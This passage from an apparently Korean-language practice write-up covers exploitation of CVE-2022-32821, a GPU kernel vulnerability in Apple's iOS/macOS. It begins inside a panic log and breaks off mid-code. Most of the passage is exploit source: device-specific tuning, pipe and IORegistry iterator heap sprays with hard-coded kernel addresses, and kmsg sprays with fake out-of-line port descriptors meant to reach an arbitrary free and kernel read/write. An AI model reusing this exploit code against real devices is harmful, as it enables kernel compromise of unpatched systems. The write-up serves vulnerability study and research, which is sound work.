RTBuddy\nIOPlatformPanicAction -&gt; RTBuddy\nIOPlatformPanicAction -&gt; AppleEmbeddedNVMeController\nIOPlatformPanicAction -&gt; AppleARMWatchdogTimer\nIOPlatformPanicAction -&gt; AppleNubSynopsysOTG3Device\nIOPlatformPanicAction -&gt; AppleT8010MemCacheController\nIOPlatformPanicAction -&gt; RTBuddy\nIOPlatformPanicAction -&gt; RTBuddy\n\nPlease go to https:\/\/panic.apple.com to report this panic\n<\/code><\/pre>\n<p>\ud328\ub2c9\uc774 \uc544\ub798 \uadf8\ub9bc\uacfc \uac19\uc774 \ubc1c\uc0dd\ud558\uc9c0\ub9cc, v18\uc744 \ucda9\ubd84\ud788 \uc81c\uc5b4\ud560 \uc218 \uc788\ub2e4.<\/p>\n<p>\uc81c\uc5b4\ud558\ub294\ub370 \uc131\uacf5\ud55c\ub2e4\uba74, 2\uac00\uc9c0\uc758 \uc774\uc810\uc744 \uac00\uc9c4\ub2e4.<\/p>\n<p>79\uc904: <code>((void (__fastcall **)(__int64))((_QWORD *)v18 + 0x20LL))(v18);<\/code><\/p>\n<p>82\uc904: <code>(_QWORD )(v6 + 0xC0) = ((__int64 (__fastcall **)(_QWORD))(**(_QWORD **)(v19 + 0x10) + 0x90LL))((_QWORD *)(v19 + 0x10))<\/code><\/p>\n<ul>\n<li>KASLR leak\uc774 \uac00\ub2a5\ud558\ub2e4\ub294 \uc810\uc5d0 \ud55c\ud574\uc11c, \uc784\uc758 \ucee4\ub110 \ud568\uc218 \ud638\ucd9c\uc774 \uac00\ub2a5\ud560 \uac83\uc774\ub2e4.<\/li>\n<\/ul>\n<p>81\uc904: <code>++*(_DWORD *)v19;<\/code><\/p>\n<ul>\n<li>\ud2b9\uc815 \ucee4\ub110 \uc8fc\uc18c\uc5d0 1\uc529 \uc99d\uac00\uc2dc\ud0a4\ub294 \ud504\ub9ac\ubbf8\ud2f0\ube0c\ub97c \ud68d\ub4dd\ud560 \uc218 \uc788\ub2e4.<\/li>\n<\/ul>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/main\/CVE-2022-32821\/pics\/Drawing_2026-01-28_17.11.00.excalidraw-fs8.png\" alt=\"Drawing 2026-01-28 17.11.00.excalidraw-fs8.png\"><\/p>\n<p>\uc2ac\ub77c\uc774\ub4dc \uc815\ubcf4\uc5d0 \ub530\ub974\uba74, kmsg\uc758 descriptor count\ub97c 1 \uc99d\uac00\uc2dc\ucf1c\uc11c default.kalloc.16384 \uc874\uc73c\ub85c\ubd80\ud130 \ud560\ub2f9\ubc1b\uc740 OOL \ud3ec\ud2b8 \ub514\uc2a4\ud06c\ub9bd\ud130\uc5d0 \ub300\ud55c \ucee4\ub110 \ud560\ub2f9\uc744 \uc784\uc758\ub85c \ud574\uc81c\uc2dc\ucf1c\uc11c \uc775\uc2a4\ud50c\ub85c\uc787\ud558\ub294 \ubc29\ubc95\uc744 \uc548\ub0b4\ud55c\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/main\/CVE-2022-32821\/pics\/Screenshot_2026-01-28_at_5.25.38_PM.png\" alt=\"Screenshot 2026-01-28 at 5.25.38\u202fPM.png\"><\/p>\n<p>\uadf8\ub9ac\uace0 KASLR leak\uc774 \ubd88\uac00\ub2a5\ud558\ub2e4\ub294 \uc804\uc81c\ud558\uc5d0\uc11c\n\uc784\uc758\ucee4\ub110 \ud568\uc218 \ud638\ucd9c\uc744 \ud588\uc744\ub54c, <strong>\ud328\ub2c9\uc774 \ubc1c\uc0dd\ud558\uc9c0 \uc54a\uac8c \uc0dd\uc874<\/strong>\ud558\ub294 \ubc29\ubc95\uc744 \uc124\uba85\ud574\uc8fc\uc168\ub2e4.<\/p>\n<p>arm64 \uae30\uae30\uc758 \uacbd\uc6b0 <code>IORegistryCreateIterator<\/code> \ud638\ucd9c\uc744 \uc5ec\ub7ec\ubc88\ud558\uc5ec, vtable\uc774 \uc788\ub294 C++ \ud560\ub2f9 \uac1d\uccb4\ub97c \uc5ec\ub7ec\ubc88 \uc2a4\ud504\ub808\uc774\uc2dc\ud0a4\ub294 \uac83\uc774\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/main\/CVE-2022-32821\/pics\/Screenshot_2026-01-28_at_5.28.21_PM.png\" alt=\"Screenshot 2026-01-28 at 5.28.21\u202fPM.png\"><\/p>\n<p>\ub355\ubd84\uc5d0, \uc704 2\uac00\uc9c0\uc758 \uc544\uc774\ub514\uc5b4\ub97c \ud1b5\ud574 \ucee4\ub110 \uc77d\uae30\/\uc4f0\uae30\uae4c\uc9c0 \ub2ec\uc131\ud560 \uc218 \uc788\ub294 \uc601\uac10\uc744 \ub5a0\uc624\ub974\uac8c\ub054 \ub9cc\ub4e4\uc5b4\uc8fc\uc5c8\ub2e4.<\/p>\n<h1>\uc775\uc2a4\ud50c\ub85c\uc787 \ubc29\ubc95<\/h1>\n<p>\uc774\uc804\uc5d0 \ub0b4\uc6a9\uc744 \ub2e4\ub918\ub358 <a href=\"https:\/\/github.com\/wh1te4ever\/xnu_1day_practice\/blob\/main\/CVE-2021-30937\/README_ko.md#%EC%9D%B5%EC%8A%A4%ED%94%8C%EB%A1%9C%EC%9E%87-macos-1201-vmapple\">\u201c[\uc2e4\uc2b5] CVE-2021-30937(multicast_bytecopy) \uc774\ud574\ud558\uae30 (macOS 12.0.1\/iOS 15)\u201d<\/a> \uae00\uc5d0\uc11c \uc775\uc2a4\ud50c\ub85c\uc787 \ud14c\ud06c\ub2c9 \uae30\uc220\uc744 \uac00\uc838\uc654\uae30 \ub54c\ubb38\uc5d0, \ud574\ub2f9 \ub0b4\uc6a9\uc5d0 \ub300\ud574\uc11c\ub294 \uc0dd\ub7b5\ud560 \uac83\uc774\ub2e4. \ub300\uc2e0 \ubc14\ub85c \ucc38\uace0\ud560 \uc218 \uc788\ub3c4\ub85d \ub9c1\ud06c\ub97c \uac78\uc5b4\ub450\uaca0\ub2e4.<\/p>\n<h2>1. <code>IOGPU_get_command_queue_extra_refills_needed<\/code><\/h2>\n<ul>\n<li>\uc124\uba85 \uc0dd\ub7b5\ub428<\/li>\n<li><a href=\"https:\/\/github.com\/wh1te4ever\/xnu_1day_practice\/blob\/main\/CVE-2021-30937\/README_ko.md#1-exploitation_init\">https:\/\/github.com\/wh1te4ever\/xnu_1day_practice\/blob\/main\/CVE-2021-30937\/README_ko.md#1-exploitation_init<\/a><\/li>\n<\/ul>\n<pre><code class=\"language-cpp\">int exploit(void) {\n    \/\/ different by device, retrieve it first and fail if unsuccessful\n    extra_frees_for_device = IOGPU_get_command_queue_extra_refills_needed();\n    if (extra_frees_for_device == -1)\n    {\n        printf(&quot;Exiting early, provide correct number 1-5 in the code for this device to proceed\\n&quot;);\n        return 1;\n    }\n    ...\n\n}\n\nint IOGPU_get_command_queue_extra_refills_needed(void)\n{\n    struct utsname u;\n    uname(&amp;u);\n    \n    \/\/ iPhone 6S\n    \/\/ iPhone 7\n    \/\/ iPhone 11\n    \/\/ iPhone 12\n    \/\/ iPhone 13\n    \/\/ iPad 7th gen\n    if (\n       strstr(u.machine, &quot;iPhone8,&quot;)\n    || strstr(u.machine, &quot;iPhone9,&quot;)\n    || strstr(u.machine, &quot;iPhone12,&quot;)\n    || strstr(u.machine, &quot;iPhone13,&quot;)\n    || strstr(u.machine, &quot;iPhone14,&quot;)\n    || strstr(u.machine, &quot;iPad7,&quot;)\n    )\n    {\n        return 1;\n    }\n    \/\/ iPhone 8, X\n    \/\/ iPhone XS, XR\n    else if (\n       strstr(u.machine, &quot;iPhone10,&quot;)\n    || strstr(u.machine, &quot;iPhone11,&quot;)\n    )\n    {\n        return 3;\n    }\n    \n    printf(&quot;IOGPU_get_command_queue_extra_refills_needed(): Unknown device %s! May panic in generic part until correct number 1-5 is provided for this device!\\n&quot;, u.machine);\n    \n    return -1;\n}\n<\/code><\/pre>\n<h2>2. kmsg, \ud30c\uc774\ud504, IORegistryCreateIterator \uc2a4\ud504\ub808\uc774 \uc900\ube44<\/h2>\n<p>\ub098\uc911\uc5d0 \ub354 \uc790\uc138\ud788 \uc124\uba85\ud560 \uc608\uc815\uc774\uc9c0\ub9cc,\n\ucee4\ub110 \uba54\ubaa8\ub9ac\ub97c \uc784\uc758\ub85c \ud574\uc81c\ud560 \uc5ec\ub7ec \ud3ec\ud2b8 \ubc30\uc5f4\ub4e4\uc744 \uc800\uc7a5\ud560 \uacf5\uac04, IORegistryCreateIterator \ud638\ucd9c\uc5d0 \uc758\ud574 \ucc44\uc6cc\uc9c8 \ud3ec\ud2b8 \uacf5\uac04, \uadf8\ub9ac\uace0 \ud30c\uc774\ud504 \ubc84\ud37c \uacf5\uac04 &#8211; \uc774\ub807\uac8c 3\uac00\uc9c0\ub97c \ubbf8\ub9ac \uc900\ube44\ud55c\ub2e4. \ub610, \ud30c\uc774\ud504 \uc2a4\ud504\ub808\uc774\ub97c \uc704\ud574 \ud604\uc7ac \ud504\ub85c\uc138\uc2a4\uc758 \ud30c\uc77c \ub514\uc2a4\ud06c\ub9bd\ud130 \uc81c\ud55c\uc744 10240\uc73c\ub85c \uc99d\uac00\uc2dc\ud0a8\ub2e4.<\/p>\n<p>\uc2a4\ud504\ub808\uc774\ud558\uba74\uc11c \uc55e\uc73c\ub85c \ucc28\uc9c0\ud558\uac8c\ub420 \ucee4\ub110\uc758 \ud560\ub2f9\ud06c\uae30\uc5d0 \ub300\ud574 \uc54c\uc544\ubcf4\uc790\uba74,<\/p>\n<p>kmsg\uc758 \uacbd\uc6b0, default.kalloc.16384\uc640 data.kalloc.16384 \uc874\uc73c\ub85c\ubd80\ud130 0x1800(=PORTS_COUNT)\ubc88\ub9cc\ud07c \ud560\ub2f9\ubc1b\uc73c\ubbc0\ub85c \uac01\uac01 \uc57d 100M(16384 * 0x1800 = 100663296)\uc529 \ucee4\ub110 \uba54\ubaa8\ub9ac\ub97c \ucc28\uc9c0\ud558\uac8c \ub420 \uac83\uc774\ub2e4.<\/p>\n<p>IORegistryCreateIterator \uc2a4\ud504\ub808\uc774\uc758 \uacbd\uc6b0, IOUserIterator \uac1d\uccb4\ub97c \uc704\ud574 0x20\ud06c\uae30\ub9cc\ud07c \ucc28\uc9c0\ud558\uba74\uc11c, \ub610 \ub0b4\ubd80\uc801\uc73c\ub85c\ub294 IORegistryIterator \uac1d\uccb4\ub97c \uc0dd\uc131\ud558\ub294\ub370 0x50\ud06c\uae30\ub9cc\ud07c \ucc28\uc9c0\ud55c\ub2e4. \ub2e8\uc21c\ud788 vftable \ud3ec\uc778\ud130\uac12\uc774 \uc788\ub294 IORegistryIterator \uac1d\uccb4\ub9cc \uc0b4\ud3b4\ubcf8\ub2e4\uba74, 0x1c000\ubc88\ub9cc\ud07c \uc2a4\ud504\ub808\uc774\ud558\uae30 \ub54c\ubb38\uc5d0 \uc57d 9M(0x50 * 0x1c000 = 9175040) \uc815\ub3c4 \ucc28\uc9c0\ud558\uac8c \ub420 \uac83\uc774\ub2e4.<\/p>\n<p>\ub9c8\uc9c0\ub9c9\uc73c\ub85c, \ucd1d 980\ubc88 \ud30c\uc774\ud504\ub97c \uc0dd\uc131\ud558\uace0 (0x4000-1)\ud06c\uae30\ub9cc\ud07c write\uc2dc\ud0a4\ubbc0\ub85c, data.kalloc.16384\uc874\uc73c\ub85c\ubd80\ud130 980\ubc88 \ub9cc\ud07c \ud560\ub2f9\ubc1b\ub294\ub2e4. \ub530\ub77c\uc11c 16M(16384 * 980 = 16056320)\ub9cc\ud07c \ucc28\uc9c0\ud558\uac8c \ub420 \uac83\uc774\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">mach_port_t *it = NULL;\nmach_port_t notif_port = MACH_PORT_NULL;\nmach_port_t *kheap_default_ports = NULL;\nmach_port_t *kheap_data_ports = NULL;\nuint8_t *IOSurfaceClient_array_buf = NULL;\nint kheap_data_idx = -1;\nint extra_frees_for_device = -1;\nio_connect_t iogpu_connect = MACH_PORT_NULL;\n\n#define PORTS_COUNT 0x1800\n#define KMSG_SIZE 0x3F80 \/\/ the low 0x80 byte of this size will be copied to corrupt the message bits (setting 0x80000000, MACH_MSGH_BITS_COMPLEX)\n\nint exploit(void) {\n    ...\n    kheap_data_ports = malloc(PORTS_COUNT * sizeof(mach_port_t));\n    kheap_default_ports = malloc(PORTS_COUNT * sizeof(mach_port_t));\n    mach_port_t *contained_ports = malloc(PORTS_COUNT * sizeof(mach_port_t));\n    mach_port_t *ool_ports = malloc(0x4000);\n    uint8_t *kheap_data_spray_buf = malloc(0x4000);\n    memset(kheap_data_ports, 0, PORTS_COUNT * sizeof(mach_port_t));\n    memset(kheap_default_ports, 0, PORTS_COUNT * sizeof(mach_port_t));\n    memset(contained_ports, 0, PORTS_COUNT * sizeof(mach_port_t));\n    memset(ool_ports, 0, 0x4000);\n    memset(kheap_data_spray_buf, 0, 0x4000);\n    increase_file_limit();\n\n    \/\/ iterator stuffs\n    int it_count = 0x1c000;   \/\/TODO.. about 8 MB+ spray\n\t  it = malloc(it_count * sizeof(mach_port_t));\n\n    \/\/ spray stuffs\n    size_t pipe_count = 980;\n    size_t pipe_buffer_size = 0x4000;\n    uint8_t *pipe_buffer = (uint8_t *)malloc(pipe_buffer_size);\n    void* recv_buf = malloc(pipe_buffer_size);\n    ...\n    \n}\n\nvoid increase_file_limit() {\n    struct rlimit rl = {};\n    getrlimit(RLIMIT_NOFILE, &amp;rl);\n    rl.rlim_cur = 10240;\n    rl.rlim_max = rl.rlim_cur;\n    setrlimit(RLIMIT_NOFILE, &amp;rl);\n}\n<\/code><\/pre>\n<h2>3. \uc2a4\ud504\ub808\uc774<\/h2>\n<h3>3-1. \ud30c\uc774\ud504 \uc2a4\ud504\ub808\uc774<\/h3>\n<p>\ucde8\uc57d\uc810\uc744 \ud2b8\ub9ac\uac70\ud588\uc744\ub54c, <code>__ZN9AGXShared23create_mtllateevaleventEPy+0xC8<\/code> \uc9c0\uc810\uc5d0\uc11c \ub9f5\ud551\ub418\uc9c0 \uc54a\uc740 x8+0xfffff8 \uc8fc\uc18c\uc5d0 \uc811\uadfc\ud558\ub294 \uac83\uc5d0 \ub300\ud574 \ud328\ub2c9\uc774 \ubc1c\uc0dd\ud558\uc9c0 \uc54a\uae30 \uc704\ud574\uc11c \uc544\ub798 \ucf54\ub4dc\uc640 \uac19\uc774 \ud30c\uc774\ud504 \uc2a4\ud504\ub808\uc774\uc2dc\ud0a8\ub2e4.<\/p>\n<p>\ud30c\uc774\ud504 \ubc84\ud37c \ub0b4\uc6a9\uc740 x8 \ub808\uc9c0\uc2a4\ud130 \uac12\uc744 \ucee8\ud2b8\ub864\ud558\ub294\ub370 \uc788\uc5b4\uc11c \uc911\uc694\ud55c\ub370, \uc5ec\ub7ec kheap_data_ports \ub4e4\uc911\uc5d0 \uc5b4\ub290 \ud3ec\ud2b8\uac00 \uc601\ud5a5\uc744 \ubbf8\uce58\ub294\uc9c0 \ud655\uc778\ud558\uae30 \uc704\ud574 ikm_header+0x50 \uc9c0\uc810\uc744 \uac00\ub9ac\ud0a4\ub3c4\ub85d \ub9cc\ub4e4\uc5c8\ub2e4.<\/p>\n<p>\uc9c0\uae08\uc740 \uc544\ub2c8\uc9c0\ub9cc \ub098\uc911\uc5d0 kmsg\ub97c \uc2a4\ud504\ub808\uc774\ud560\ub54c, <code>spray_data_kalloc_kmsg_single<\/code>\ub97c \uc5ec\ub7ec\ubc88 \ud638\ucd9c\uc2dc\ud0b4\uc73c\ub85c\uc368 data.kalloc.16384\uc874\uc73c\ub85c\ubd80\ud130 \uc5ec\ub7ec\ubc88 \ud560\ub2f9\ubc1b\uac8c\ub420 \uac83\uc774\ub2e4.<\/p>\n<p>\ud504\ub85c\ud30c\uc77c\ub9c1\ud574\uc11c \ub192\uc740 \ud655\ub960\ub85c \ud574\ub2f9 \ud560\ub2f9\uc9c0\uc810\uc744 \uac00\ub9ac\ud0a4\ub3c4\ub85d KHEAP_DATA_MAPPABLE_LOC \uac12\uc744 \uad6c\ud55c\ub2e4\uc74c, \uac70\uae30\uc11c+0x50\uc744 \uac00\ub9ac\ud0a4\uac8c \ub9cc\ub4e4\uba74 \ub41c\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">#define KHEAP_DATA_MAPPABLE_LOC 0xffffffe37da60000  \/\/ikm_header\n\nint exploit(void) {\n    ...\n    \/\/ STEP 1: spray pipe\n    int *pipefds = create_pipes(&amp;pipe_count);\n    \n    uint64_t x8 = (KHEAP_DATA_MAPPABLE_LOC+0x50);  \/\/ x8 will be Pointed here.  \/\/com.apple.AGXG9P:__text:FFFFFFF005DC508C     LDR X0, [X8,#0x10]\n    memset_pattern8(pipe_buffer, &amp;x8, pipe_buffer_size);\n\n    pipe_spray(pipefds, pipe_count, pipe_buffer, pipe_buffer_size, NULL);\n    ...\n}\n\nint *\ncreate_pipes(size_t *pipe_count) {\n    \/\/ Allocate our initial array.\n    size_t capacity = *pipe_count;\n    int *pipefds = calloc(2 * capacity, sizeof(int));\n    assert(pipefds != NULL);\n    \/\/ Create as many pipes as we can.\n    size_t count = 0;\n    for (; count &lt; capacity; count++) {\n        \/\/ First create our pipe fds.\n        int fds[2] = { -1, -1 };\n        int error = pipe(fds);\n        \/\/ Unfortunately pipe() seems to return success with invalid fds once we've\n        \/\/ exhausted the file limit. Check for this.\n        if (error != 0 || fds[0] &lt; 0 || fds[1] &lt; 0) {\n            pipe_close(fds);\n            break;\n        }\n        \/\/ Mark the write-end as nonblocking.\n        \/\/set_nonblock(fds[1]);\n        \/\/ Store the fds.\n        pipefds[2 * count + 0] = fds[0];\n        pipefds[2 * count + 1] = fds[1];\n    }\n    assert(count == capacity &amp;&amp; &quot;can't alloc enough pipe fds&quot;);\n    \/\/ Truncate the array to the smaller size.\n    int *new_pipefds = realloc(pipefds, 2 * count * sizeof(int));\n    assert(new_pipefds != NULL);\n    \/\/ Return the count and the array.\n    *pipe_count = count;\n    return new_pipefds;\n}\n\nsize_t\npipe_spray(const int *pipefds, size_t pipe_count,\n        void *pipe_buffer, size_t pipe_buffer_size,\n        void (^update)(uint32_t pipe_index, void *data, size_t size)) {\n    assert(pipe_count &lt;= 0xffffff);\n    size_t write_size = pipe_buffer_size - 1;\n    size_t pipes_filled = 0;\n    for (size_t i = 0; i &lt; pipe_count; i++) {\n        \/\/ printf(&quot;writing now = 0x%x\\n&quot;, i);\n\n        \/\/ Update the buffer.\n        if (update != NULL) {\n            update((uint32_t)i, pipe_buffer, pipe_buffer_size);\n        }\n        \n        int wfd = pipefds[2 * i + 1];\n        int rfd = pipefds[2 * i];\n        set_nonblock(wfd);\n        set_nonblock(rfd);\n\n        \/\/ Fill the write-end of the pipe with the buffer. Leave off the last byte.\n        ssize_t written = write(wfd, pipe_buffer, write_size);\n        \/\/ printf(&quot;written = 0x%x\\n&quot;, written);\n        if (written != write_size) {\n            \/\/ printf(&quot;written = 0x%x, write_size = 0x%x\\n&quot;, written, write_size);\n            \/\/ This is most likely because we've run out of pipe buffer memory. None of\n            \/\/ the subsequent writes will work either.\n            break;\n        }\n        pipes_filled++;\n    }\n    return pipes_filled;\n}\n\n<\/code><\/pre>\n<p>\ud30c\uc774\ud504 \uc2a4\ud504\ub808\uc774\ud558\uace0 \ucde8\uc57d\uc810 \ud2b8\ub9ac\uac70\ud560\uc2dc, x8\uc774 \uac00\ub9ac\ud0a4\ub294 \uacf3\uc740 \uc544\ub798 \uadf8\ub9bc\uacfc \uac19\uc744 \uac83\uc774\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/main\/CVE-2022-32821\/pics\/Drawing_2026-01-28_17.11.00.excalidraw_1-fs8.png\" alt=\"Drawing 2026-01-28 17.11.00.excalidraw 1-fs8.png\"><\/p>\n<h3>3-2. IORegistryCreateIterator \uc2a4\ud504\ub808\uc774<\/h3>\n<p>\ucde8\uc57d\uc810\uc744 \ud2b8\ub9ac\uac70\ud558\ub294\ub370 \uc55e\uc11c <code>AGXShared::create_mtllateevalevent<\/code>\uc5d0\uc11c 79\uc904\uacfc 82\uc904 \ucf54\ub4dc\uc5d0 \uc758\ud574 \ud328\ub2c9\uc774 \ubc1c\uc0dd\ud558\uc9c0 \uc54a\uace0 \ubb34\uc0ac\ud788 \ucee4\ub110\ud568\uc218 \ud638\ucd9c\ud6c4 \ub3cc\uc544\uac00\ub3c4\ub85d \uc0dd\uc874\ud558\uae30 \uc704\ud574\uc11c \uc2a4\ud504\ub808\uc774\uac00 \ud544\uc694\ud558\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/main\/CVE-2022-32821\/pics\/Screenshot_2026-01-28_at_11.19.16_PM.png\" alt=\"Screenshot 2026-01-28 at 11.19.16\u202fPM.png\"><\/p>\n<p>\uc544\ub798 \ucf54\ub4dc\ub97c \ud1b5\ud574 IORegistryIterator \uc624\ube0c\uc81d\ud2b8\ub97c 0x1c000 \ud69f\uc218\ub9cc\ud07c \ucda9\ubd84\ud788 \uc2a4\ud504\ub808\uc774\ud55c\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">uint64_t CPP_OBJ_PTR=0xffffffe0f98d8000;  \/\/about 50%+ chance\n\nint exploit(void) {\n    ...\n    \/\/ STEP 2: spray IORegistry_create_iterator\n    \/\/VTAB. FFFFFFF00714D988\n\n    for(int i = 0; i &lt; it_count; i++) {\n\t\t  it[i] = IORegistry_create_iterator();\n\t  }\n\n#if ALWAYS_SURVIVE\n    CPP_OBJ_PTR = tfp0_kread64(port_to_kobject(it[it_count-1000]) + 0x10);\n    printf(&quot;cpp_obj_ptr = 0x%llx\\n&quot;, CPP_OBJ_PTR);\n#endif\n    ...\n}\n\nmach_port_t IORegistry_create_iterator(void) {\n\tkern_return_t kr;\n\tio_iterator_t ite;\n\tkr = IORegistryCreateIterator(kIOMasterPortDefault, kIOServicePlane, 0, &amp;ite);\n\tif (kr) {\n        *(int *)1 = 0;\n    }\n\treturn ite;\n}\n<\/code><\/pre>\n<p>\uadf8\ub7ec\uba74 \uc2a4\ud504\ub808\uc774\ud588\uc744\ub54c, \uc544\ub798 \uadf8\ub9bc\uacfc \uac19\uc740 \uad6c\uc870\ub85c \ub418\uc5b4\uc788\uc744 \uac83\uc774\ub2e4.<\/p>\n<p><code>AGXShared::create_mtllateevalevent<\/code>\uc5d0\uc11c 79\uc904 \ucf54\ub4dc\uc5d0 \uc758\ud574 <code>OSObject::retain<\/code>(<code>__ZNK8OSObject6retainEv<\/code>)\uc774 \ud638\ucd9c\ub420 \uac83\uc774\uace0, 82\uc904 \ucf54\ub4dc\uc5d0 \uc758\ud574 <code>IORegistryIterator::getNextObjectFlat<\/code>(<code>__ZN18IORegistryIterator17getNextObjectFlatEv<\/code>)\uc774 \ud638\ucd9c\ub420 \uac83\uc774\ub2e4.<\/p>\n<p>\ud574\ub2f9 2\uac00\uc9c0 \ud568\uc218\ub4e4\uc5d0 \ub300\ud574\uc11c\ub294 \ucee4\ub110 \ud328\ub2c9\ubc29\uc9c0\/\uc0dd\uc874\uc744 \uc704\ud574 \uc784\uc758\ub85c \ud638\ucd9c\ud558\ub294\uac83\uc774\ubbc0\ub85c, \uc5b4\ub5a4 \uae30\ub2a5\uc744 \uc218\ud589\ud558\ub294\uc9c0\ub294 \ub531\ud788 \uc2e0\uacbd \uc548\uc368\ub3c4 \ub41c\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/main\/CVE-2022-32821\/pics\/Drawing_2026-01-28_22.36.09.excalidraw-fs8.png\" alt=\"Drawing 2026-01-28 22.36.09.excalidraw-fs8.png\"><\/p>\n<h3>3-3. kmsg \uc2a4\ud504\ub808\uc774<\/h3>\n<ul>\n<li>\uc77c\ubd80 \ud568\uc218\uc5d0 \ub300\ud55c \uc124\uba85\uc774 \uc0dd\ub7b5\ub428<\/li>\n<li><strong><code>spray_default_kalloc_ool_ports<\/code><\/strong>: <a href=\"https:\/\/github.com\/wh1te4ever\/xnu_1day_practice\/blob\/main\/CVE-2021-30937\/README_ko.md#1-2-spray_default_kalloc_ool_ports0x4000-1-ool_ports\">https:\/\/github.com\/wh1te4ever\/xnu_1day_practice\/blob\/main\/CVE-2021-30937\/README_ko.md#1-2-spray_default_kalloc_ool_ports0x4000-1-ool_ports<\/a><\/li>\n<li><strong><code>spray_data_kalloc_kmsg_single<\/code><\/strong>: <a href=\"https:\/\/github.com\/wh1te4ever\/xnu_1day_practice\/blob\/main\/CVE-2021-30937\/README_ko.md#1-3-spray_data_kalloc_kmsg_singlekheap_data_spray_buf-kmsg_size\">https:\/\/github.com\/wh1te4ever\/xnu_1day_practice\/blob\/main\/CVE-2021-30937\/README_ko.md#1-3-spray_data_kalloc_kmsg_singlekheap_data_spray_buf-kmsg_size<\/a><\/li>\n<\/ul>\n<p>**<code>spray_default_kalloc_ool_ports<\/code>**\uc5d0 \uc758\ud574 ****default.kalloc.16384\uc874\uc73c\ub85c\ubd80\ud130 \ud560\ub2f9\ubc1b\uc740 OOL \ud3ec\ud2b8 \ub514\uc2a4\ud06c\ub9bd\ud130\ub97c \ub098\uc911\uc5d0 \uc784\uc758\ub85c \ud560\ub2f9\ud574\uc81c\ud558\uae30 \uc704\ud574 \uc900\ube44\ud55c\ub2e4. \uae30\uc874 <a href=\"https:\/\/github.com\/potmdehex\/multicast_bytecopy\/blob\/fb744c2d1221b7f797cd790cd988cfcbd00d61eb\/multicast_bytecopy\/exploit\/exploit.c#L155\">multicast_bytecopy \uc775\uc2a4\ud50c\ub85c\uc787 \ucf54\ub4dc<\/a>\ub97c \ucc38\uace0\ud558\uc5ec fake descriptor\ub97c \ub9cc\ub4e4\uc5b4\uc8fc\uc5c8\ub2e4.<\/p>\n<pre><code class=\"language-c\">(mach_msg_ool_ports_descriptor_t)  (address = [\uc784\uc758\ub85c \ud574\uc81c\uc2dc\ud0ac OOL \ud3ec\ud2b8 \ub514\uc2a4\ud06c\ub9bd\ud130 \uc8fc\uc18c], deallocate = 0x00000000, copy = 0x00000000, disposition = 0x00000011, type = 0x00000002, count = ...)\n<\/code><\/pre>\n<p>kmsg\uac00 \ubcc0\uc870\ub418\uc5c8\ub294\uc9c0 \ud310\ub2e8\ud558\uae30 \uc704\ud574 0x1337\uac12\uacfc vftable\uc758 \ud568\uc218 \ud638\ucd9c\uc744 \ud1b5\ud574 \ucee4\ub110 \ud328\ub2c9\uc5d0\uc11c \uc0dd\uc874\ud558\uae30 \uc704\ud574 CPP_OBJ_PTR\uac12, \ud2b9\uc815 \ubd84\uae30\ub85c \ube0c\ub79c\uce58\ub418\ub3c4\ub85d 0\uc744 \ub123\uc740 \uac12 \ub4f1\uc774 \uc788\ub2e4.<\/p>\n<p>\uc5bc\ud54f \ucf54\ub4dc\ub9cc \ubd10\uc11c\ub294 \uc65c \uc774\ub807\uac8c \ub370\uc774\ud130\ub97c \ub123\uc5b4\uc8fc\uc5c8\ub294\uc9c0, \uc774\ud574\ud558\uae30 \uc5b4\ub824\uc6b8 \uc218 \uc788\ub2e4.<\/p>\n<p>\ub098\uc911\uc5d0 \ub354 \uc790\uc138\ud788 \ub9d0\ud558\uaca0\uc9c0\ub9cc, \uacc4\ud68d\uc5d0 \ub300\ud574 \uac04\ub7b5\ud788 \uc124\uba85\ud558\uc790\uba74, \uc99d\uac00 \ud504\ub9ac\ubbf8\ud2f0\ud504\ub97c \ud1b5\ud574 kmsg\uac00 \ubcc0\uc870\ub418\uc5c8\uc74c\uc744 \uac10\uc9c0\ud568\uc5d0 \ub530\ub77c \uc5ec\ub7ec kheap_data_ports\ub4e4\uc911\uc5d0 \uc190\uc0c1\uc2dc\ud0ac \uc218 \uc788\ub294 \ud3ec\ud2b8\uac00 \uc5b4\ub290\uac83\uc5d0 \ud574\ub2f9\ub418\ub294\uc9c0 \uba3c\uc800 \ud655\uc778\ud55c\ub2e4. \uadf8\ub2e4\uc74c\uc73c\ub85c <code>mach_msg_body_t<\/code>\uc758 <code>msgh_descriptor_count<\/code>\ub97c 0\uc5d0\uc11c 1\ub85c \uc99d\uac00\uc2dc\ud0a8\ub2e4\uc74c, <code>mach_msg_ool_ports_descriptor_t<\/code>\uc758 <code>count<\/code>\ub97c \uc624\ubc84\ud50c\ub85c\uc2dc\ucf1c 0x7f8\ub85c \ub9cc\ub4dc\ub294 \uac83\uc774 \ub418\uaca0\ub2e4.<\/p>\n<p><code>spray_data_kalloc_complex_kmsg_single<\/code> \ud568\uc218\uc758 \uacbd\uc6b0, <strong><code>spray_data_kalloc_kmsg_single<\/code> \uae30\uc874 \ud568\uc218\uc640 \ud06c\uac8c \ub2e4\ub974\uc9c0 \uc54a\ub2e4.<\/strong> <code>msgh_bits<\/code>\uc5d0 <code>MACH_MSGH_BITS_COMPLEX<\/code>\ub9cc \ucd94\uac00\uc2dc\ud0a8\uac8c \uc804\ubd80\uc774\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">int exploit(void) {\n    ...\n    \/\/ STEP 3: spray kmsg (default.kalloc.0x4000 \/ data.kalloc.0x4000)\n    \/\/ fake descriptor for free primitive\n    memset(kheap_data_spray_buf, 0x42, 0x4000);\n    memset(kheap_data_spray_buf, 0, sizeof(mach_msg_header_t));\n    *(uint32_t *)(kheap_data_spray_buf + sizeof(mach_msg_header_t)) = 0;    \/\/will be increased after trigger vuln\n    *(uint64_t *)(kheap_data_spray_buf + 